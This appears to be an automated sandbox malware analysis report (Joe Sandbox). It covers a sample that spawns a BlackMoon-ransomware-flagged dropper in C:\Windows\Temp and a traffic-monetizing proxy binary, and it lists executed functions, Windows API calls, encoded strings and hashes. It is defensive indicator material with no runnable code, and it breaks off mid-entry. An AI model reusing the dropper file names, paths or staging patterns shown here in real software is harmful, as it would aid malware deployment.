Show Windows behavior

Target ID:	60
Start time:	02:05:40
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	02:05:50
Start date:	29/06/2024
Path:	C:\Windows\Microsoft.NET\Meson.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Meson.exe
Imagebase:	0x790000
File size:	9'380'352 bytes
MD5 hash:	87C8B215C031443D630DA6C18088F89A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs Detection: 1%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	02:05:50
Start date:	29/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	02:05:58
Start date:	29/06/2024
Path:	C:\Windows\Temp\Wmicc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\Wmicc.exe"
Imagebase:	0x400000
File size:	1'474'560 bytes
MD5 hash:	E66E02324B37D50D144B06CED32065C0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 0000003F.00000002.2301629964.0000000000562000.00000004.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Windows\Temp\Wmicc.exe, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Windows\Temp\Wmicc.exe, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	02:06:00
Start date:	29/06/2024
Path:	C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\traffmonetizer\traffmonetizer.exe
Imagebase:	0x1fee30e0000
File size:	696'960 bytes
MD5 hash:	2884FDEAA62F29861CE2645DDE0040F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	02:06:02
Start date:	29/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.3%
Total number of Nodes:	406
Total number of Limit Nodes:	38

Executed Functions

Function 00402163 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 578
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(00000000,004192F9,004192F9,00000001,F0000000), ref: 004021D6
CryptAcquireContextA.ADVAPI32(00000000,004192F9,004192F9,00000001,00000000), ref: 00402224
CryptCreateHash.ADVAPI32(00000000,00000000,00000000,00000000,00000000), ref: 00402276
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 004022B4

Strings

0123456789ABCDEF, xrefs: 004024FD

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$CreateHashRelease
String ID: 0123456789ABCDEF
API String ID: 3535039526-2554083253
Opcode ID: 59f2144c7ff110a59cfcf9ee79016ad14bb22b6dd812d18f7235238cf386f082
Instruction ID: 8df9b623113503cc87f490e026a12e009a6318988e310fa925834e8970490082
Opcode Fuzzy Hash: 59f2144c7ff110a59cfcf9ee79016ad14bb22b6dd812d18f7235238cf386f082
Instruction Fuzzy Hash: D812A571E40308BBDB00AF90ED8AB9EBB74FF08704F14447AF644BA2D1D7BA59149B59

Function 004CCFA0 Relevance: 7.7, APIs: 5, Instructions: 185
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 004CD0E2
GetProcAddress.KERNEL32(?,004CAFF9), ref: 004CD100
ExitProcess.KERNEL32(?,004CAFF9), ref: 004CD111
VirtualProtect.KERNELBASE(00400000,00001000,00000004,?,CB8BC2D8), ref: 004CD12E
VirtualProtect.KERNEL32(00400000,00001000), ref: 004CD143

Memory Dump Source

Source File: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: c22712a841efc2b1d92b47ad2372f088bb156bf2b35683b9e1ed80b8ad94b85e
Instruction ID: a1fda13ee7cab5a15e8a144bd63683ad8e299a10ba4013c7159e7c4d05e4e474
Opcode Fuzzy Hash: c22712a841efc2b1d92b47ad2372f088bb156bf2b35683b9e1ed80b8ad94b85e
Instruction Fuzzy Hash: 83510779E416125BC7605E7C9CC0F617794EB42328B28073ED6E6873C5E7AC68078769

Function 004145DA Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,?,?,004145D5), ref: 00414651
GetProcessVersion.KERNELBASE(00000000,?,?,?,004145D5), ref: 0041468E
LoadCursorA.USER32(00000000,00007F02), ref: 004146BC
LoadCursorA.USER32(00000000,00007F00), ref: 004146C7

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CursorLoadVersion$Process
String ID:
API String ID: 2246821583-0
Opcode ID: 1d0077b124fd86387468ca0930e93663f77b2c7441332f6d7ccf74dc60a675ed
Instruction ID: c21727553c71a2e8eb1704b02d2a21719ef1626660058a68ad97ebcc0238563c
Opcode Fuzzy Hash: 1d0077b124fd86387468ca0930e93663f77b2c7441332f6d7ccf74dc60a675ed
Instruction Fuzzy Hash: AA114FB1A00B509FD728DF3A898466ABBE5FB887047414D3FE18BC7B50D7B8A441CB54

Function 00401164 Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 625
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004019B0: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 00401AF3
Part of subcall function 004019B0: SetWaitableTimer.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00401196,0000000A), ref: 00401B39
Part of subcall function 004019B0: MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,FFFFFFFF,000000FF), ref: 00401B7A

OpenEventA.KERNEL32(001F0003,00000000,MS_SQL_TQ,0000000A,00000001,00000000,00000000,00000000), ref: 004011AA

Strings

532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4, xrefs: 0040124C, 00401652
MS19.exe, xrefs: 00401441, 004018CD
5D4322203E756875303D7330532A4C40627F7762717D547164714C5D4343415C583E756875B24B112A4, xrefs: 004017FB
C:\Windows\Temp\, xrefs: 0040149B, 00401723
MS20.exe, xrefs: 004016C9, 0040191B
MSSQLH.exe, xrefs: 00401322, 004013B2
5D4321293E756875303D7C3026262626303D6030532A4C47797E747F67634C44757D604C5D4343415C583E756875303D64303AB24B112A4, xrefs: 004014C0
5D4321293E756875303D7C3026262626303D6030532A4C40627F7762717D547164714C5D4343415C583E756875303D64303AB24B112A4, xrefs: 00401573
360, xrefs: 004014B4, 00401567, 0040173C, 004017EF
MS_SQL_TQ, xrefs: 00401199, 004011ED
5D4322203E756875303D7330532A4C47797E747F67634C44757D604C5D4343415C583E756875B24B112A4, xrefs: 00401748

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: TimerWaitable$CreateEventMultipleObjectsOpenWait
String ID: 360$532A4C47797E747F67634C5C7F77634C42657E547C7C5568753E747C7CB24B112A4$5D4321293E756875303D7C3026262626303D6030532A4C40627F7762717D547164714C5D4343415C583E756875303D64303AB24B112A4$5D4321293E756875303D7C3026262626303D6030532A4C47797E747F67634C44757D604C5D4343415C583E756875303D64303AB24B112A4$5D4322203E756875303D7330532A4C40627F7762717D547164714C5D4343415C583E756875B24B112A4$5D4322203E756875303D7330532A4C47797E747F67634C44757D604C5D4343415C583E756875B24B112A4$C:\Windows\Temp\$MS19.exe$MS20.exe$MSSQLH.exe$MS_SQL_TQ
API String ID: 4027799094-2027768841
Opcode ID: a8c7c4a55a600070e4e8d9aa19c8ded86d5262fa15f138f3de6eb108ef9aaffa
Instruction ID: 84da733141381f1271a3389c7c8867b05e910cafaf5589cb0b9678de97e578de
Opcode Fuzzy Hash: a8c7c4a55a600070e4e8d9aa19c8ded86d5262fa15f138f3de6eb108ef9aaffa
Instruction Fuzzy Hash: 992285B1F40304B7EB10AEA18CC2F9F7678AF14704F14447AFA05BA3D2E6B99A44575E

Function 00413815 Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 00413824
GlobalAlloc.KERNELBASE(00002002,?,?,?,?,?,00413BB0,?,00000000,00413FBA,0041357D,00413FD6,0040EAE0,004125FA,?,00000000), ref: 00413879
GlobalHandle.KERNEL32(?), ref: 00413882
GlobalUnWire.KERNEL32(00000000), ref: 0041388B
GlobalReAlloc.KERNEL32(00000000,?,00002002), ref: 0041389D
GlobalHandle.KERNEL32(?), ref: 004138B4
GlobalFix.KERNEL32(00000000), ref: 004138BB
RtlLeaveCriticalSection.NTDLL(004054B2), ref: 004138C1
GlobalFix.KERNEL32(00000000), ref: 004138D0
RtlLeaveCriticalSection.NTDLL(?), ref: 00413919

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Global$CriticalSection$AllocHandleLeave$EnterWire
String ID:
API String ID: 1877740037-0
Opcode ID: cd98b0da0914e87d9dd97a8a2c452668221eeedca2b6414f0ab53d92b70fdc5c
Instruction ID: 61fc8adce8938b6e164f4d5a3d4a21ce64ebd5a5b07c629c4b3de90c1e3b2888
Opcode Fuzzy Hash: cd98b0da0914e87d9dd97a8a2c452668221eeedca2b6414f0ab53d92b70fdc5c
Instruction Fuzzy Hash: 5431D371A00705AFD721AF29DC89AAAB7E8FF84315F00493EF892C3661E775E944CB14

Function 00403650 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32 ref: 00403662
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 004036E1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004036FA
CloseHandle.KERNEL32(?), ref: 0040370B
CloseHandle.KERNEL32(?), ref: 00403712

Strings

D, xrefs: 0040365A

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateInfoObjectProcessSingleStartupWait
String ID: D
API String ID: 2246201701-2746444292
Opcode ID: 59fd93fba8e27bc4f39f93059b338ebb23f0d9dd38825932b9a9e23ed9a13f29
Instruction ID: 4cd4289d78c3802c08dd808d594e969b08caa7f0168735416a303fb9401efa77
Opcode Fuzzy Hash: 59fd93fba8e27bc4f39f93059b338ebb23f0d9dd38825932b9a9e23ed9a13f29
Instruction Fuzzy Hash: 38213C74128340EAC2208F89C88496BFFF9EFC5B41F20892EF18593360D37A89458B5B

Function 004019B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 152
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 00401AF3
SetWaitableTimer.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00401196,0000000A), ref: 00401B39
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,FFFFFFFF,000000FF), ref: 00401B7A
FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,00401196), ref: 00401BC7

Strings

`, xrefs: 00401A7D

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: TimerWaitable$ChangeCloseCreateFindMultipleNotificationObjectsWait
String ID: `
API String ID: 3243419822-1850852036
Opcode ID: 66c7d3cf90ba12204cb3f582792646447f5af218a3a8eff5b99a6c5a9c327562
Instruction ID: 31a1df60e1721f170dcc5c68fb6d65a48df22a6f99816477e34bbbb3472d659c
Opcode Fuzzy Hash: 66c7d3cf90ba12204cb3f582792646447f5af218a3a8eff5b99a6c5a9c327562
Instruction Fuzzy Hash: 4C514C70E01309EBEF10DF90D94A7AE7BB0AB05305F108076F5157A2E0D7B98A64DF9A

Function 004137BE Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNELBASE(00000000,?,?,00413CCB,00000000,00000001), ref: 004137CA
GlobalHandle.KERNEL32(?), ref: 004137F2
GlobalUnWire.KERNEL32(00000000), ref: 004137FB
GlobalFree.KERNEL32(00000000), ref: 00413802
RtlDeleteCriticalSection.NTDLL(?), ref: 0041380C

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Global$Free$CriticalDeleteHandleSectionWire
String ID:
API String ID: 1964465133-0
Opcode ID: c64babfc07976bf75e906d0673e6b468fccf1c06524ea0b0db52a8da03310ab4
Instruction ID: b5f09f0d93e51c1c209d02af42e67ce6d405fcf79ce4728b66343dc2d21c64ca
Opcode Fuzzy Hash: c64babfc07976bf75e906d0673e6b468fccf1c06524ea0b0db52a8da03310ab4
Instruction Fuzzy Hash: D7F0B475700600BBD3226F38AD0CBEB77EC9FC4762B15852AF851C3290CB24EC418628

Function 004035B0 Relevance: 6.1, APIs: 4, Instructions: 61
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000020,00000000,?,00000000,80000005), ref: 004035C8
WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,?,0000026C,?,00000000,80000005), ref: 00403607
FindCloseChangeNotification.KERNELBASE(00000000,?,?,0000026C,?,00000000,80000005,?,?,?,?,?,?,?,00000000,00000000), ref: 0040361A
CloseHandle.KERNEL32(00000000,?,?,0000026C,?,00000000,80000005,?,?,?,?,?,?,?,00000000,00000000), ref: 00403635

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CloseFile$ChangeCreateFindHandleNotificationWrite
String ID:
API String ID: 2570977422-0
Opcode ID: 4c8ec80c84596c6c85f40279b4b0134fad03642918bcde0a7a9bf7c0a1beb4ec
Instruction ID: 8121449f168d8dd899f7d731c5524f08da15e4f4282bd1c0ef77b62864657177
Opcode Fuzzy Hash: 4c8ec80c84596c6c85f40279b4b0134fad03642918bcde0a7a9bf7c0a1beb4ec
Instruction Fuzzy Hash: 2411A035300301AFD320CF58EC85FAEB7E8FB88711F15492AFA50A7290D775E909876A

Function 0040EAF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0040EB03
SetWindowsHookExA.USER32(000000FF,V`Q,00000000,00000000), ref: 0040EB13

Part of subcall function 00413C11: __EH_prolog.LIBCMT ref: 00413C16

Strings

V`Q, xrefs: 0040EB0C

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CurrentH_prologHookThreadWindows
String ID: V`Q
API String ID: 2183259885-815211277
Opcode ID: 0f3ff078a5937067c96aef4216a2dcf67f6310d4905d19d82231ea8aebdedc51
Instruction ID: 418e925beb7c5aab7b405a55839ca2989be66c554b4a834fccc6b6ec73eda350
Opcode Fuzzy Hash: 0f3ff078a5937067c96aef4216a2dcf67f6310d4905d19d82231ea8aebdedc51
Instruction Fuzzy Hash: BCF08231804610ABC7602F71AD09B953A619F00716F08096FF5026A1E1DB7C9AC0875D

Function 004065F5 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,004065E0,?,00000000,00000000,004054BB,00000000,00000000), ref: 0040660A
TerminateProcess.KERNEL32(00000000,?,004065E0,?,00000000,00000000,004054BB,00000000,00000000), ref: 00406611
ExitProcess.KERNEL32 ref: 00406692

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c6931f451438f347b1f2d91d95bf32010023286b52da5b519690176a0ba98ca8
